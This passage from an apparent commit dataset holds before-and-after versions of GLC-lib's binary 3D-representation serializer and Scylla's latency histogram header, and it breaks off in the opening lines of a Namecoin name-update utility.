GLC_BSRep::m_CompressionMutex;\n\n\/\/ Default constructor\nGLC_BSRep::GLC_BSRep(const QString& fileName, bool useCompression)\n: m_FileInfo()\n, m_pFile(NULL)\n, m_DataStream()\n, m_UseCompression(useCompression)\n, m_CompressionLevel(-1)\n, m_VersionIsCompatible(false)\n{\n\tsetAbsoluteFileName(fileName);\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\tm_DataStream.setFloatingPointPrecision(QDataStream::SinglePrecision);\n}\n\n\/\/ Copy constructor\nGLC_BSRep::GLC_BSRep(const GLC_BSRep& binaryRep)\n: m_FileInfo(binaryRep.m_FileInfo)\n, m_pFile(NULL)\n, m_DataStream()\n, m_UseCompression(binaryRep.m_UseCompression)\n, m_CompressionLevel(binaryRep.m_CompressionLevel)\n{\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\tm_DataStream.setFloatingPointPrecision(binaryRep.m_DataStream.floatingPointPrecision());\n}\n\nGLC_BSRep::~GLC_BSRep()\n{\n\tdelete m_pFile;\n}\n\n\/\/ Return true if the binary rep is up to date\nbool GLC_BSRep::repIsUpToDate(const QDateTime& timeStamp)\n{\n\t\/\/qDebug() << \"GLC_BSRep::repIsUpToDate\";\n\tbool isUpToDate= false;\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\tisUpToDate= m_VersionIsCompatible && timeStampOk(timeStamp);\n\t\t\tisUpToDate= isUpToDate && close();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQString message(QString(\"GLC_BSRep::loadRep File not recognise \") + m_FileInfo.fileName());\n\t\t\tqDebug() << message;\n\t\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::WrongFileFormat);\n\t\t\tclose();\n\t\t\tthrow(fileFormatException);\n\t\t}\n\t}\n\telse\n\t{\n\t\tQString message(QString(\"GLC_BSRep::loadRep Enable to open the file \") + m_FileInfo.fileName());\n\t\tqDebug() << message;\n\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotFound);\n\t\tclose();\n\t\tthrow(fileFormatException);\n\t}\n\n\tif (!isUpToDate) qDebug() << \"Rep is not up to date\";\n\treturn isUpToDate;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ name Get Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Load the binary rep\nGLC_3DRep GLC_BSRep::loadRep()\n{\n\t\/\/qDebug() << \"GLC_BSRep::loadRep\";\n\tGLC_3DRep loadedRep;\n\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\ttimeStampOk(QDateTime());\n\t\t\tGLC_BoundingBox boundingBox;\n\t\t\tm_DataStream >> boundingBox;\n\t\t\tbool useCompression;\n\t\t\tm_DataStream >> useCompression;\n\t\t\tif (useCompression)\n\t\t\t{\n\t\t\t\tQByteArray CompresseBuffer;\n\t\t\t\tm_DataStream >> CompresseBuffer;\n\t\t\t\tQByteArray uncompressedBuffer= qUncompress(CompresseBuffer);\n\t\t\t\tCompresseBuffer.clear();\n\t\t\t\tQDataStream bufferStream(uncompressedBuffer);\n\t\t\t\tbufferStream >> loadedRep;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_DataStream >> loadedRep;\n\t\t\t}\n\n\t\t\tif (!close())\n\t\t\t{\n\t\t\t\tQString message(QString(\"GLC_BSRep::loadRep An error occur when loading file \") + m_FileInfo.fileName());\n\t\t\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::WrongFileFormat);\n\t\t\t\tthrow(fileFormatException);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQString message(QString(\"GLC_BSRep::loadRep File not supported \") + m_FileInfo.fileName());\n\t\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotSupported);\n\t\t\tclose();\n\t\t\tthrow(fileFormatException);\n\t\t}\n\t}\n\telse\n\t{\n\t\tQString message(QString(\"GLC_BSRep::loadRep Enable to open the file \") + m_FileInfo.fileName());\n\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotFound);\n\t\tclose();\n\t\tthrow(fileFormatException);\n\t}\n\n\n\treturn loadedRep;\n}\n\n\/\/ Return the bounding box of the binary representation\nGLC_BoundingBox GLC_BSRep::boundingBox()\n{\n\tGLC_BoundingBox boundingBox;\n\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\ttimeStampOk(QDateTime());\n\n\t\t\tm_DataStream >> boundingBox;\n\t\t}\n\t}\n\treturn boundingBox;\n}\n\n\/\/ Return bsrep suffix\nQString GLC_BSRep::suffix()\n{\n\treturn m_Suffix;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/name Set Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set the binary representation file name\nvoid GLC_BSRep::setAbsoluteFileName(const QString& fileName)\n{\n\tm_FileInfo.setFile(fileName);\n\tif (m_FileInfo.suffix() != m_Suffix)\n\t{\n\t\tm_FileInfo.setFile(fileName + '.' + m_Suffix);\n\t}\n\n}\n\n\/\/ Save the GLC_3DRep in serialised binary\nbool GLC_BSRep::save(const GLC_3DRep& rep)\n{\n\t\/\/! Check if the currentFileInfo is valid and writable\n\tbool saveOk= open(QIODevice::WriteOnly);\n\tif (saveOk)\n\t{\n\t\twriteHeader(rep.lastModified());\n\n\t\t\/\/ Representation Bounding Box\n\t\tm_DataStream << rep.boundingBox();\n\n\t\t\/\/ Compression usage\n\t\tm_DataStream << m_UseCompression;\n\t\tif (m_UseCompression)\n\t\t{\n\t\t\tQByteArray uncompressedBuffer;\n\t\t\t{\n\t\t\t\tQBuffer buffer(&uncompressedBuffer);\n\t\t\t\tbuffer.open(QIODevice::WriteOnly);\n\t\t\t\tQDataStream bufferStream(&buffer);\n\t\t\t\tbufferStream << rep;\n\t\t\t}\n\t\t\t\/\/ Don't know why, but it's work better !\n\t\t\tm_CompressionMutex.lock();\n\t\t\tm_DataStream << qCompress(uncompressedBuffer, m_CompressionLevel);\n\t\t\tm_CompressionMutex.unlock();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Binary representation geometry\n\t\t\t\/\/ Add the rep\n\t\t\tm_DataStream << rep;\n\t\t}\n\n\t\t\/\/ Close the file\n\t\tsaveOk= close();\n\t}\n\treturn saveOk;\n}\n\n\n\/\/ Open the file\nbool GLC_BSRep::open(QIODevice::OpenMode mode)\n{\n\t\/\/qDebug() << \"Open :\" << m_FileInfo.fileName();\n\tbool openOk= m_FileInfo.exists();\n\tif (openOk || (mode == QIODevice::WriteOnly))\n\t{\n\t\tm_DataStream.setDevice(NULL);\n\t\tdelete m_pFile;\n\t\tm_pFile= new QFile(m_FileInfo.filePath());\n\t\topenOk= m_pFile->open(mode);\n\t\tif (openOk)\n\t\t{\n\t\t\tm_DataStream.setDevice(m_pFile);\n\t\t}\n\t}\n\telse\n\t{\n\t\tqDebug() << \"File info \" << m_FileInfo.filePath() << \" do not exists\";\n\t}\n\treturn openOk;\n}\n\n\/\/ Close the file\nbool GLC_BSRep::close()\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tbool closeOk= m_DataStream.status() == QDataStream::Ok;\n\tm_DataStream.setDevice(NULL);\n\tm_pFile->close();\n\tdelete m_pFile;\n\tm_pFile= NULL;\n\n\treturn closeOk;\n}\n\n\/\/ Write the header\nvoid GLC_BSRep::writeHeader(const QDateTime& dateTime)\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tQ_ASSERT(m_pFile->openMode() == QIODevice::WriteOnly);\n\n\t\/\/ Binary representation Header\n\t\/\/ Add the magic number\n\tm_DataStream << m_Uuid;\n\t\/\/ Add the version\n\tm_DataStream << m_Version;\n\n\t\/\/ Set the version of the data stream\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\n\t\/\/ Add the time stamp\n\tm_DataStream << dateTime;\n}\n\n\/\/ Check the header\nbool GLC_BSRep::headerIsOk()\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tQ_ASSERT(m_pFile->openMode() == QIODevice::ReadOnly);\n\n\tQUuid uuid;\n\tquint32 version;\n\tm_DataStream >> uuid;\n\tm_DataStream >> version;\n\n\t\/\/ Set the version of the data stream\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\n\tbool headerOk= (uuid == m_Uuid);\n\tm_VersionIsCompatible= (version == m_Version);\n\n\treturn headerOk;\n}\n\n\/\/ Check the time Stamp\nbool GLC_BSRep::timeStampOk(const QDateTime& timeStamp)\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tQ_ASSERT(m_pFile->openMode() == QIODevice::ReadOnly);\n\n\tQDateTime dateTime;\n\tm_DataStream >> dateTime;\n\n\tbool timeStampOk= !timeStamp.isValid() || (dateTime == timeStamp);\n\treturn timeStampOk;\n}\n\n<commit_msg>Add flag to know if a bsrep is properly written<commit_after>\/****************************************************************************\n\n This file is part of the GLC-lib library.\n Copyright (C) 2005-2008 Laurent Ribon (laumaya@users.sourceforge.net)\n Version 2.0.0, packaged on July 2010.\n\n http:\/\/glc-lib.sourceforge.net\n\n GLC-lib is free software; you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n GLC-lib is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with GLC-lib; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n *****************************************************************************\/\n\/\/! \\file glc_bsrep.cpp implementation for the GLC_BSRep class.\n\n#include \"glc_bsrep.h\"\n#include \"..\/glc_fileformatexception.h\"\n#include \"..\/glc_tracelog.h\"\n\n\/\/ The binary rep suffix\nconst QString GLC_BSRep::m_Suffix(\"BSRep\");\n\n\/\/ The binary rep magic number\nconst QUuid GLC_BSRep::m_Uuid(\"{d6f97789-36a9-4c2e-b667-0e66c27f839f}\");\n\n\/\/ The binary rep version\nconst quint32 GLC_BSRep::m_Version= 102;\n\n\/\/ Mutex used by compression\nQMutex GLC_BSRep::m_CompressionMutex;\n\n\/\/ Default constructor\nGLC_BSRep::GLC_BSRep(const QString& fileName, bool useCompression)\n: m_FileInfo()\n, m_pFile(NULL)\n, m_DataStream()\n, m_UseCompression(useCompression)\n, m_CompressionLevel(-1)\n{\n\tsetAbsoluteFileName(fileName);\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\tm_DataStream.setFloatingPointPrecision(QDataStream::SinglePrecision);\n}\n\n\/\/ Copy constructor\nGLC_BSRep::GLC_BSRep(const GLC_BSRep& binaryRep)\n: m_FileInfo(binaryRep.m_FileInfo)\n, m_pFile(NULL)\n, m_DataStream()\n, m_UseCompression(binaryRep.m_UseCompression)\n, m_CompressionLevel(binaryRep.m_CompressionLevel)\n{\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\tm_DataStream.setFloatingPointPrecision(binaryRep.m_DataStream.floatingPointPrecision());\n}\n\nGLC_BSRep::~GLC_BSRep()\n{\n\tdelete m_pFile;\n}\n\n\/\/ Return true if the binary rep is up to date\nbool GLC_BSRep::isUsable(const QDateTime& timeStamp)\n{\n\tbool isUpToDate= false;\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\tisUpToDate= timeStampOk(timeStamp);\n\t\t\tisUpToDate= isUpToDate && close();\n\t\t}\n\t}\n\telse\n\t{\n\t\tQString message(QString(\"GLC_BSRep::loadRep Enable to open the file \") + m_FileInfo.fileName());\n\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotFound);\n\t\tclose();\n\t\tthrow(fileFormatException);\n\t}\n\n\tif (!isUpToDate && GLC_TraceLog::isEnable())\n\t{\n\t\tQStringList stringList(\"GLC_BSRep::isUsable\");\n\t\tstringList.append(\"File \" + m_FileInfo.filePath() + \" not Usable\");\n\t\tGLC_TraceLog::addTrace(stringList);\n\t}\n\treturn isUpToDate;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ name Get Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Load the binary rep\nGLC_3DRep GLC_BSRep::loadRep()\n{\n\tGLC_3DRep loadedRep;\n\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\ttimeStampOk(QDateTime());\n\t\t\tGLC_BoundingBox boundingBox;\n\t\t\tm_DataStream >> boundingBox;\n\t\t\tbool useCompression;\n\t\t\tm_DataStream >> useCompression;\n\t\t\tif (useCompression)\n\t\t\t{\n\t\t\t\tQByteArray CompresseBuffer;\n\t\t\t\tm_DataStream >> CompresseBuffer;\n\t\t\t\tQByteArray uncompressedBuffer= qUncompress(CompresseBuffer);\n\t\t\t\tCompresseBuffer.clear();\n\t\t\t\tQDataStream bufferStream(uncompressedBuffer);\n\t\t\t\tbufferStream >> loadedRep;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_DataStream >> loadedRep;\n\t\t\t}\n\n\t\t\tif (!close())\n\t\t\t{\n\t\t\t\tQString message(QString(\"GLC_BSRep::loadRep An error occur when loading file \") + m_FileInfo.fileName());\n\t\t\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::WrongFileFormat);\n\t\t\t\tthrow(fileFormatException);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQString message(QString(\"GLC_BSRep::loadRep File not supported \") + m_FileInfo.fileName());\n\t\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotSupported);\n\t\t\tclose();\n\t\t\tthrow(fileFormatException);\n\t\t}\n\t}\n\telse\n\t{\n\t\tQString message(QString(\"GLC_BSRep::loadRep Enable to open the file \") + m_FileInfo.fileName());\n\t\tGLC_FileFormatException fileFormatException(message, m_FileInfo.fileName(), GLC_FileFormatException::FileNotFound);\n\t\tclose();\n\t\tthrow(fileFormatException);\n\t}\n\n\n\treturn loadedRep;\n}\n\n\/\/ Return the bounding box of the binary representation\nGLC_BoundingBox GLC_BSRep::boundingBox()\n{\n\tGLC_BoundingBox boundingBox;\n\n\tif (open(QIODevice::ReadOnly))\n\t{\n\t\tif (headerIsOk())\n\t\t{\n\t\t\ttimeStampOk(QDateTime());\n\n\t\t\tm_DataStream >> boundingBox;\n\t\t}\n\t}\n\treturn boundingBox;\n}\n\n\/\/ Return bsrep suffix\nQString GLC_BSRep::suffix()\n{\n\treturn m_Suffix;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/name Set Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set the binary representation file name\nvoid GLC_BSRep::setAbsoluteFileName(const QString& fileName)\n{\n\tm_FileInfo.setFile(fileName);\n\tif (m_FileInfo.suffix() != m_Suffix)\n\t{\n\t\tm_FileInfo.setFile(fileName + '.' + m_Suffix);\n\t}\n\n}\n\n\/\/ Save the GLC_3DRep in serialised binary\nbool GLC_BSRep::save(const GLC_3DRep& rep)\n{\n\t\/\/! Check if the currentFileInfo is valid and writable\n\tbool saveOk= open(QIODevice::ReadWrite);\n\tif (saveOk)\n\t{\n\t\twriteHeader(rep.lastModified());\n\n\t\t\/\/ Representation Bounding Box\n\t\tm_DataStream << rep.boundingBox();\n\n\t\t\/\/ Compression usage\n\t\tm_DataStream << m_UseCompression;\n\t\tif (m_UseCompression)\n\t\t{\n\t\t\tQByteArray uncompressedBuffer;\n\t\t\t{\n\t\t\t\tQBuffer buffer(&uncompressedBuffer);\n\t\t\t\tbuffer.open(QIODevice::WriteOnly);\n\t\t\t\tQDataStream bufferStream(&buffer);\n\t\t\t\tbufferStream << rep;\n\t\t\t}\n\t\t\t\/\/ Don't know why, but it's work better !\n\t\t\tm_CompressionMutex.lock();\n\t\t\tm_DataStream << qCompress(uncompressedBuffer, m_CompressionLevel);\n\t\t\tm_CompressionMutex.unlock();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Binary representation geometry\n\t\t\t\/\/ Add the rep\n\t\t\tm_DataStream << rep;\n\t\t}\n\n\t\t\/\/ Flag the file\n\t\tqint64 offset= sizeof(QUuid);\n\t\toffset+= sizeof(quint32);\n\n\t\tm_pFile->seek(offset);\n\t\tbool writeOk= true;\n\t\tm_DataStream << writeOk;\n\t\t\/\/ Close the file\n\t\tsaveOk= close();\n\t}\n\treturn saveOk;\n}\n\n\n\/\/ Open the file\nbool GLC_BSRep::open(QIODevice::OpenMode mode)\n{\n\tbool openOk= m_FileInfo.exists();\n\tif (openOk || (mode == QIODevice::ReadWrite))\n\t{\n\t\tm_DataStream.setDevice(NULL);\n\t\tdelete m_pFile;\n\t\tm_pFile= new QFile(m_FileInfo.filePath());\n\t\topenOk= m_pFile->open(mode);\n\t\tif (openOk)\n\t\t{\n\t\t\tm_DataStream.setDevice(m_pFile);\n\t\t}\n\t}\n\telse if (GLC_TraceLog::isEnable())\n\t{\n\t\tQStringList stringList(\"GLC_BSRep::open\");\n\t\tstringList.append(\"File \" + m_FileInfo.filePath() + \" doesn't exists\");\n\t\tGLC_TraceLog::addTrace(stringList);\n\t}\n\n\treturn openOk;\n}\n\n\/\/ Close the file\nbool GLC_BSRep::close()\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tbool closeOk= m_DataStream.status() == QDataStream::Ok;\n\tm_DataStream.setDevice(NULL);\n\tm_pFile->close();\n\tdelete m_pFile;\n\tm_pFile= NULL;\n\n\treturn closeOk;\n}\n\n\/\/ Write the header\nvoid GLC_BSRep::writeHeader(const QDateTime& dateTime)\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\n\t\/\/ Binary representation Header\n\t\/\/ Add the magic number\n\tm_DataStream << m_Uuid;\n\t\/\/ Add the version\n\tm_DataStream << m_Version;\n\tbool writeFinished= false;\n\tm_DataStream << writeFinished;\n\n\t\/\/ Set the version of the data stream\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\n\t\/\/ Add the time stamp\n\tm_DataStream << dateTime;\n}\n\n\/\/ Check the header\nbool GLC_BSRep::headerIsOk()\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tQ_ASSERT(m_pFile->openMode() == QIODevice::ReadOnly);\n\n\tQUuid uuid;\n\tquint32 version;\n\tbool writeFinished;\n\n\tm_DataStream >> uuid;\n\tm_DataStream >> version;\n\tm_DataStream >> writeFinished;\n\n\t\/\/ Set the version of the data stream\n\tm_DataStream.setVersion(QDataStream::Qt_4_6);\n\n\tbool headerOk= (uuid == m_Uuid) && (version == m_Version) && writeFinished;\n\n\treturn headerOk;\n}\n\n\/\/ Check the time Stamp\nbool GLC_BSRep::timeStampOk(const QDateTime& timeStamp)\n{\n\tQ_ASSERT(m_pFile != NULL);\n\tQ_ASSERT(m_DataStream.device() != NULL);\n\tQ_ASSERT(m_pFile->openMode() == QIODevice::ReadOnly);\n\n\tQDateTime dateTime;\n\tm_DataStream >> dateTime;\n\n\tbool timeStampOk= !timeStamp.isValid() || (dateTime == timeStamp);\n\treturn timeStampOk;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/circular_buffer.hpp>\n#include \"latency.hh\"\n\nnamespace utils {\n\nclass ihistogram {\npublic:\n    \/\/ count holds all the events\n    int64_t count;\n    \/\/ total holds only the events we sample\n    int64_t total;\n    int64_t min;\n    int64_t max;\n    int64_t sum;\n    double mean;\n    double variance;\n    int64_t sample_mask;\n    boost::circular_buffer<int64_t> sample;\n    ihistogram(size_t size = 1024, int64_t _sample_mask = 0x80)\n            : count(0), total(0), min(0), max(0), sum(0), mean(0), variance(0),\n              sample_mask(_sample_mask), sample(\n                    size) {\n    }\n    void mark(int64_t value) {\n        if (total == 0 || value < min) {\n            min = value;\n        }\n        if (total == 0 || value > max) {\n            max = value;\n        }\n        if (total == 0) {\n            mean = value;\n            variance = 0;\n        } else {\n            double old_m = mean;\n            double old_s = variance;\n\n            mean = ((double)(sum + value)) \/ (total + 1);\n            variance = old_s + ((value - old_m) * (value - mean));\n        }\n        sum += value;\n        total++;\n        count++;\n        sample.push_back(value);\n    }\n\n    void mark(latency_counter& lc) {\n        if (lc.is_start()) {\n            mark(lc.stop().latency_in_nano());\n        } else {\n            count++;\n        }\n    }\n\n    \/**\n     * Return true if the current event should be sample.\n     * In the typical case, there is no need to use this method\n     * Call set_latency, that would start a latency object if needed.\n     *\/\n    bool should_sample() const {\n        return total == 0 || (count & sample_mask);\n    }\n    \/**\n     * Set the latency according to the sample rate.\n     *\/\n    ihistogram& set_latency(latency_counter& lc) {\n        if (should_sample()) {\n            lc.start();\n        }\n        return *this;\n    }\n\n    \/**\n     * Allow to use the histogram as a counter\n     * Increment the total number of events without\n     * sampling the value.\n     *\/\n    ihistogram& inc() {\n        count++;\n        return *this;\n    }\n};\n\n}\n<commit_msg>histogram: Add started counter<commit_after>\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/circular_buffer.hpp>\n#include \"latency.hh\"\n\nnamespace utils {\n\nclass ihistogram {\npublic:\n    \/\/ count holds all the events\n    int64_t count;\n    \/\/ total holds only the events we sample\n    int64_t total;\n    int64_t min;\n    int64_t max;\n    int64_t sum;\n    int64_t started;\n    double mean;\n    double variance;\n    int64_t sample_mask;\n    boost::circular_buffer<int64_t> sample;\n    ihistogram(size_t size = 1024, int64_t _sample_mask = 0x80)\n            : count(0), total(0), min(0), max(0), sum(0), started(0), mean(0), variance(0),\n              sample_mask(_sample_mask), sample(\n                    size) {\n    }\n    void mark(int64_t value) {\n        if (total == 0 || value < min) {\n            min = value;\n        }\n        if (total == 0 || value > max) {\n            max = value;\n        }\n        if (total == 0) {\n            mean = value;\n            variance = 0;\n        } else {\n            double old_m = mean;\n            double old_s = variance;\n\n            mean = ((double)(sum + value)) \/ (total + 1);\n            variance = old_s + ((value - old_m) * (value - mean));\n        }\n        sum += value;\n        total++;\n        count++;\n        sample.push_back(value);\n    }\n\n    void mark(latency_counter& lc) {\n        if (lc.is_start()) {\n            mark(lc.stop().latency_in_nano());\n        } else {\n            count++;\n        }\n    }\n\n    \/**\n     * Return true if the current event should be sample.\n     * In the typical case, there is no need to use this method\n     * Call set_latency, that would start a latency object if needed.\n     *\/\n    bool should_sample() const {\n        return total == 0 || (started & sample_mask);\n    }\n    \/**\n     * Set the latency according to the sample rate.\n     *\/\n    ihistogram& set_latency(latency_counter& lc) {\n        if (should_sample()) {\n            lc.start();\n        }\n        started++;\n        return *this;\n    }\n\n    \/**\n     * Allow to use the histogram as a counter\n     * Increment the total number of events without\n     * sampling the value.\n     *\/\n    ihistogram& inc() {\n        count++;\n        return *this;\n    }\n\n    int64_t pending() const {\n        return started - count;\n    }\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  Namecoin RPC library.\n *  Copyright (C) 2013-2014  Daniel Kraft <d@domob.eu>\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *  See the distributed file COPYING for additional permissions in addition\n *  to those of the GNU Affero General Public License.\n *\/\n\n\/* Utility program to update names.  *\/\n\n#include \"JsonRpc.hpp\"\n#include \"NamecoinInterface.hpp\"\n#include \"NameRegistration.hpp\"\n\n#include <algorithm>\n#include <cassert>\n#include <cstdlib>\n#include <fstream>\n#include <iostream>\n#include <vector>\n\nusing namespace nmcrpc;\n\n\/**\n * Display the help message.\n *\/\nstatic void\ndisplayHelp ()\n{\n  std::cerr << \"Usage: nmupdate COMMAND [OPTIONS]\"\n            << std::endl << std::endl;\n  std::cerr << \"Possible commands:\" << std::endl;\n  std::cerr << \"  * help: Display this message.\" << std::endl;\n  std::cerr << \"  * list: List owned names and their expirey counter.\"\n            << std::endl;\n  std::cerr << \"  * update NAME [VAL]: Update NAME to VAL (or existing value).\"\n            << std::endl;\n  std::cerr << \"  * send NAME ADDR [VAL]: Update NAME and send to ADDR.\"\n            << std::endl;\n  std::cerr << \"  * update-multi FILE [VAL]: Update all names in FILE\"\n            << std::endl\n            << \"                             to VAL or\"\n            << \" their current value.\" << std::endl;\n  std::cerr << \"  * send-multi FILE ADDR [VAL]: Send all names in FILE to ADDR.\"\n            << std::endl;\n}\n\n\/**\n * Read file into list of names.\n * @param fileName Name of file to read in.\n * @param names Store names here.\n * @throws std::runtime_error if reading fails.\n *\/\nstatic void\nreadNames (const std::string& fileName, std::vector<std::string>& names)\n{\n  std::ifstream in (fileName.c_str ());\n  if (!in)\n    throw std::runtime_error (\"Could not read list of names.\");\n\n  while (in)\n    {\n      std::string line;\n      std::getline (in, line);\n\n      if (!line.empty ())\n        names.push_back (line);\n    }\n}\n\n\/**\n * Perform a name update operation on an array of names.\n * @param rpc Json RPC connection.\n * @param nc Namecoin high-level interface.\n * @param names Array of names to update.\n * @param hasVal Whether to set the value or leave it.\n * @param val The value, is ignored if !hasVal.\n * @param hasAddr Whether to send to a specified address.\n * @param addr Target address, ignored if !hasAddr.\n *\/\nstatic void\nperformUpdate (JsonRpc& rpc, NamecoinInterface& nc,\n               const std::vector<std::string>& names,\n               bool hasVal, const std::string& val,\n               bool hasAddr, const std::string& addr)\n{\n#ifdef CXX_11\n  for (const auto& nm : names)\n#else \/* CXX_11  *\/\n  for (std::vector<std::string>::const_iterator i = names.begin ();\n       i != names.end (); ++i)\n#endif \/* CXX_11  *\/\n    {\n#ifndef CXX_11\n      const std::string& nm = *i;\n#endif \/* !CXX_11  *\/\n\n      std::cout 